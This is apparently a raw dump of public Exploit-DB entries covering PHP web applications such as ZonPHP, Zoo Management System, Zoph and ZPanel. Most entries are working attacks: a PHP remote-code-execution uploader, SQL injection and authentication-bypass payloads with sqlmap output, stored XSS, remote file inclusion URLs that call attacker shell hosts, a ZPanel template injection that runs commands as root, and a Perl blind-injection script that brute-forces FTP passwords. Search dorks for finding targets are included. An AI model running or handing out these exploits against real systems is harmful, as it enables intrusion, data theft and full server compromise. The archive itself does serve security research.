deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29091
Description: ZonPHP 2.25 - Remote Code Execution
Type: webapps
Platform: php
Date: 2013-10-20
Author: Halim Cruzito

Exploit:
# Exploit Title: ZonPHP V2.25 RCE Vulnerability
# Google Dork: intext:"Made by SLAPER"
# Date: 21-10-2013
# Exploit Author: Halim Cruzito
# Vendor Homepage: http://www.slaper.be
# Software Link: http://www.slaper.be/zonPHPv225.zip
# Version: v2.25
# Tested on: Windows 7

# PoC:

<?php

$url = "http://server/";
$path = "ofc/ofc_upload_image.php?name=";
$filename = "up.php";
$data = "<?php phpinfo(); ?>";
$headers = array("User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0",�
"Content-Type: text/plain");


$rc = curl_init();
curl_setopt($rc, CURLOPT_URL, $url.$path.$filename);
curl_setopt($rc, CURLOPT_HTTPHEADER, $headers);
curl_setopt($rc, CURLOPT_POST, 1);
curl_setopt( $rc, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($rc, CURLOPT_POSTFIELDS, $data);
curl_setopt($rc, CURLOPT_RETURNTRANSFER, 1);
$ex = curl_exec($rc);
curl_close($rc);�

$shelllink = ''.$url.''.$filename.'';
echo '<a href="'.$shelllink.'" target="blank">Exploited Click Here!</a>';

?>


�===============================================
|Loveto:Karoxx Puyoo ^^ and all Malaysian HaXor |
�===============================================
Exploit-DB #49501
Description: Zoo Management System 1.0 - 'anid' SQL Injection
Type: webapps
Platform: php
Date: 2021-02-01
Author: Zeyad Azima

Exploit:
# Exploit Title: Zoo Management System 1.0 - 'anid' SQL Injection
# Google Dork: N/A
# Date: 29/1/2021
# Exploit Author: Zeyad Azima
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/zoo-management-system-using-php-and-mysql/
# Version: V1
# Tested on: Windows

# Identify the vulnerability

1- go to http://localhost/animals.php and click on an animal

2- then add the following payload to the url

payload: anid=9' AND (SELECT 8432 FROM (SELECT(SLEEP(5)))lMym) AND 'jMXh'='jMXh
url: http://localhost/animal-detail.php?anid=1%20anid=9%27%20AND%20(SELECT%208432%20FROM%20(SELECT(SLEEP(5)))lMym)%20AND%20%27jMXh%27=%27jMXh

If the web server makes you wait 5 seconds then it's vulnerable


# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --dbs

example: sqlmap -u http://localhost/zms/animal-detail.php?anid=1 --dbs
       ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 23:05:33 /2021-01-29/

[23:05:34] [INFO] resuming back-end DBMS 'mysql'
[23:05:34] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own
('PHPSESSID=ban6c541hos...n856fi447q'). Do you want to use those [Y/n]
y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: anid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: anid=9' AND 1925=1925 AND 'JrZo'='JrZo

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: anid=9' AND (SELECT 8432 FROM (SELECT(SLEEP(5)))lMym) AND
'jMXh'='jMXh

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: anid=9' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x716b6b6271,0x5262686e75537a58716e[PII_REDACTED]75796b547a4c56616b[PII_REDACTED]6274444c6f6b585a654476,0x716a627171),NULL,NULL,NULL,NULL--
-
---
[23:05:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.10, PHP
back-end DBMS: MySQL >= 5.0.12
[23:05:36] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] umspsdb
[*] zmsdb

[23:05:36] [INFO] fetched data logged to text files under
Exploit-DB #50117
Description: Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-09
Author: Subhadip Nag

Exploit:
# Exploit Title: Zoo Management System 1.0 - 'Multiple' Stored Cross-Site-Scripting (XSS)
# Date: 08/07/2021
# Exploit Author: Subhadip Nag
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/zoo-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Server: XAMPP

# Description #

Zoo Management System 1.0 is vulnerable to 'Multiple' stored cross site scripting because of insufficient user supplied data.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/ZMSP/zms/admin/index.php  and  Login(given User & password)
2) Goto: http://localhost/ZMSP/zms/admin/add-animals.php
3) Fill out Animal name, Breed and Description with given payload: <script>alert(1)</script>
4) Goto: http://localhost/ZMSP/zms/admin/manage-animals.php
5) Stored XSS payload is fired

6) Goto: http://localhost/ZMSP/zms/admin/manage-ticket.php
7) Edit any Action field with the following payload: <script>alert(1)</script> and Update
8) Go back and again click 'Manage Type Ticket'
9) Stored XSS payload is fired

10) Goto: http://localhost/ZMSP/zms/admin/aboutus.php 
11) In the Page 'Title' & 'Description',Enter the Payload: <script>alert(1)</script> and Click Update

12) Goto: http://localhost/ZMSP/zms/admin/contactus.php
13) Put the Same Payload in the Page 'Title' & 'Description' and Click Update 
14) Logout and click 'Back Home'
15) Our XSS payload successful
  

# Image PoC : Reference Image #

1) https://ibb.co/g4hFQDV
2) https://ibb.co/frbpf9c
3) https://ibb.co/NtKrc9C
4) https://ibb.co/cFGWhCz
4) https://ibb.co/CMXmN4f
5) https://ibb.co/C0dV0PC
6) https://ibb.co/4ZW8tb3
7) https://ibb.co/3zgFq9b
8) https://ibb.co/wS8wXj8
Exploit-DB #48880
Description: Zoo Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-15
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Zoo Management System 1.0 - Authentication Bypass
# Date: 02/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://phpgurukul.com/zoo-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=12723
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/zoo/zms/admin/index.php

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request

POST /zoo/zms/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://localhost
Connection: close
Referer: http://localhost/zoo/zms/admin/index.php
Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
Upgrade-Insecure-Requests: 1

username=jyot%27+or+1%3D1+%23&[CREDENTIAL_REDACTED]+or+1%3D1+%23&login=

Step 3: You will be logged in as admin.
Exploit-DB #25379
Description: Zoom Media Gallery 2.1.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-11
Author: Andreas Constantinides

Exploit:
source: https://www.securityfocus.com/bid/13094/info

zOOm Media Gallery is reportedly affected by a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect zOOm Media Gallery version 2.1.2; other versions may also be affected.

http://www.example.com/index.php?option=com_zoom&Itemid=39&catid=2+OR+1=1
Exploit-DB #2420
Description: ZoomStats 1.0.2 - 'mysql.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-24
Author: Drago84

Exploit:
###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect:ZoomStats
#Source Code:
#http://prdownloads.sourceforge.net/zoomstats/ZoomStats-v1.0.2.zip?use_mirror=kent
#Problem:
#$GLOBALS['lib']['db']['path'] array not declare
#Solution : $GLOBALS['lib']['db']['path']
#Page Vulnerable : mysql.php
#Dir Page: /libs/dbmax/
# Exempe Of ExPloit is:
#http://www.site.com/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC ###Drago84###############

# milw0rm.com [2006-09-24]
Exploit-DB #15354
Description: Zoopeer 0.1/0.2 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-30
Author: Net.Edit0r

Exploit:
=============================================================
Zoopeer 0.1 & 0.2 (fckeditor) Zoopeer Shell Upload Vulnerability
=============================================================
###################################################
#
# Exploit Title: Zoopeer 0.1 & 0.2 (fckeditor)
# Date: 27-10-2010
# Author: Net.Edit0r
# Software Link: http://www.zoopeer.com/
# Version: 0.1 & 0.2
# Tested on: Linux Ubuntu 9.04
# dork : "Powered By Zoopeer"
# Contact: Net.Edit0r@att.net ~ Black.hat.tm@gmail.com
#
####################################################

    exploit # fck/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php


first go to # http://site.com/fck


       then # http://site.com/fck/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

     select # Php renamed via the php4 (shell.php4)

Video : http://net-edit0r.persiangig.com/Film/fck.rar

#######################################################

Home : datacoders.org ~ ajaxtm.com #Iranian HackerZ

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , Zalatan
       BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic
Exploit-DB #32014
Description: Zoph 0.7.2.1 - 'search.php?_off' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-07
Author: Julian Rodriguez

Exploit:
source: https://www.securityfocus.com/bid/30116/info
 
Zoph is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zoph 0.7.2.1 is vulnerable; other versions may also be affected.
 
UPDATE (July 2, 2009): The vendor disputes that Zoph is affected by these issues. Recent versions of Zoph are reported not vulnerable.

http://www.example.com/demo/search.php?_action=search&_off=[EvilScript]
Exploit-DB #32013
Description: Zoph 0.7.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-07
Author: Julian Rodriguez

Exploit:
source: https://www.securityfocus.com/bid/30116/info

Zoph is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zoph 0.7.2.1 is vulnerable; other versions may also be affected.

UPDATE (July 2, 2009): The vendor disputes that Zoph is affected by these issues. Recent versions of Zoph are reported not vulnerable.

The following login credentials are reported to trigger this issue:

username: '--
password: '--
Exploit-DB #35278
Description: Zoph 0.9.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-11-17
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2014-005
- Original release date: March 5, 2014
- Last revised:  November 18, 2014
- Discovered by: Manuel Garcia Cardenas
- Severity: 10/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Multiple Vulnerabilities in Zoph <= 0.9.1

II. BACKGROUND
-------------------------
Zoph (Zoph Organizes Photos) is a web based digital image presentation and
management system. In other words, a photo album. It is built with PHP,
MySQL and Perl.

III. DESCRIPTION
-------------------------
It is possible to inject SQL code in the variables "id" and "action" on the
pages group, photos and user. This bug was found using the portal with
authentication. To exploit the vulnerability only is needed use the version
1.0 of the HTTP protocol to interact with the application.
Has been detected a reflected XSS vulnerability in Zoph, that allows the
execution of arbitrary HTML/script code to be executed in the context of
the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
SQL Injection:

/zoph/php/group.php?_action=1'%22&_clear_crumbs=1
/zoph/php/photos.php?location_id=1'%22
/zoph/php/user.php?user_id=&_action=1'%22

Cross-Site Scripting GET:

/zoph/php/edit_photos.php?photographer_id=3"><script>alert(1)</script>
/zoph/php/edit_photos.php?album_id=2&_crumb=3"><script>alert(1)</script>

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Zoph <= 0.9.1

VII. SOLUTION
-------------------------
No news releases

VIII. REFERENCES
-------------------------
http://www.zoph.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
March 11, 2014 1: Initial release

XI. DISCLOSURE TIMELINE
-------------------------
March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
March 5, 2014 2: Send to vendor
June 17, 2014 3: Second mail to the verdor without response
November 18, 2014 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #28828
Description: Zorum 3.5 - 'DBProperty.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-19
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/20606/info

Zorum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 3.5 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[scerpitPath]/gorum/dbproperty.php?appDirName=http://www.example2.com
Exploit-DB #25519
Description: ZPanel - 'templateparser.class.php' Crafted Template Remote Command Execution
Type: webapps
Platform: php
Date: 2013-04-16
Author: Sven Slootweg

Exploit:
Hi all,

There's an arbitrary (PHP) code execution in ZPanel, a free and
open-source shared hosting control panel. Using the included zsudo
binary, access can be escalated and commands can be run as root.

The vulnerability: ZPanel uses a poor "templater" system that
basically consists of a few str_replace calls and an eval... and as
could be expected from something like this, it does a very poor job at
preventing malicious code. The relevant code can be seen here:
https://github.com/bobsta63/zpanelx/blob/master/dryden/ui/templateparser.class.php
(note the poor attempt at stripping out <?php and ?> tags).

By effectively injecting the replacement that occurs in line 71, one
can run arbitrary PHP code. When combined with ZPanels `zsudo` binary,
one can execute arbitrary commands as root, with a maximum of 5
additional arguments (aside from the path to the
to-be-executed-command).

The scope: Custom templates/themes can be uploaded by resellers and
administrators. This effectively means that anyone that can get access
to a reseller account through any means, including by purchasing a
reseller service from a ZPanel-using host, can gain root access,
without detection.

PoC: Insert the following code anywhere in master.ztml or any other
template that is parsed by the template parser, replacing `touch derp`
with any command of choice:

<& bogus']; exec("/etc/zpanel/panel/bin/zsudo touch /root/derp"); echo
$value['bogus &>

Strangely, login.ztml does not appear to use the templater, and seems
to allow PHP execution by simply using <?php and ?> tags (which I
would consider a vulnerability in itself, but that aside).

Vendor notification: I have warned the ZPanel development team about
their insecure templater *months* ago, and explicitly pointed out that
their "PHP code filtering" was not going to work well. I have
submitted a patch for some other fixable aspects of the templater
(which was merged into the main repository), but the development team
insisted that the security in the templater was fine, and that it
wasn't a problem, basically telling me that they were not going to
change it. They have not fixed this vulnerability, nor do they appear
to have any interest in doing so in the near future.

How to solve it: Either remove the reseller template uploading
functionality (this would impair core functionality), or use a real
templating engine that does not use a few str_replace() calls strung
together in front of an eval().

I'm quite new to this list, and not exactly a pentesting expert, so if
I left out some important information in the above message, please do
let me know.

- Sven Slootweg
Exploit-DB #881
Description: ZPanel 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2005-03-15
Author: Mikhail

Exploit:
# Tested and working /str0ke

It is possible to include arbitrary file:
local - in version ZPanel <= 2.5 beta 10,
remote - in ZPanel 2.0.

[exploit for v 2.0]
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell
where http://evilhost/shell.php - evil php code script

[exploit for v 2.5 beta]
http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00'%20OR%20'1'='1


# milw0rm.com [2005-03-15]
Exploit-DB #996
Description: ZPanel 2.5b10 - SQL Injection
Type: webapps
Platform: php
Date: 2005-05-17
Author: RusH

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;

# ZPanel Ver. 2.5- Public BETA 2 (Release date: 1/15/2005)
# sql injection exploit with one char bruteforce
# work on all mysql versions 

# --------------------------------------------------------
# example:
# r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
# [~] PATH : http://192.168.0.1/zpanel/index.php
# [~] USERNAME : admin
# [~] SEARCHING PASSWORD ... [ DONE ]
#
# USER_NAME: admin
#  FTP_PASS: 5f4dcc3b5aa765d61d8327deb882cf99
# --------------------------------------------------------
# bug found by foster
# exploit coded by 1dt.w0lf
# 02.04.05
# http://ghc.ru
# http://rst.void.ru

$path     = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$|++;
$n = 0;

if (@ARGV < 2) { &usage; }
print "[~] PATH : $path\r\n";
print "[~] USERNAME : $username\r\n";
print "[~] SEARCHING PASSWORD ... [|] [0]";

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar > 0)){
 print "\b\b\b\b\b"."\b"x(length($n))." DONE ]     "; 
 print qq{
 USER_NAME: $username
  FTP_PASS: $allchar
 };
 }
 else
 {
 print "\b\b\b\b\b"."\b"x(length($n))." FAILED ]     ";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $username2 = $username."' AND ascii(substring(ftppass,".$s_num.",1))".$ccheck." /*";
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($path,
 {
 "uname"  => "$username2",
 "passwd" => "RST&GHC",
 "submit" => "Login"
 }
 ); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  if ($result =~ /Incorrect password/) { return 1; }
  }
 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b\b\b\b"."\b"x(length($n-1))."/] [".$n."]";  }
  if($status==1){ print "\b\b\b\b\b"."\b"x(length($n-1))."-] [".$n."]";  }
  if($status==2){ print "\b\b\b\b\b"."\b"x(length($n-1))."\\] [".$n."]"; }
  if($status==3){ print "\b\b\b\b\b"."\b"x(length($n-1))."|] [".$n."]";  }
}

sub usage()
 {
 print q(
 r57zpanel.pl - ZPanel ver 2.5-public beta 2 sql inj exploit
 -----------------------------------------------------------
 usage: r57zpanel.pl [path] [username]
 [path] - path to zpanel index
 [username] - username for bruteforce 
 e.g.
 r57zpanel.pl http://192.168.0.1/zpanel/index.php admin
 -----------------------------------------------------------
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }


# milw0rm.com [2005-05-17]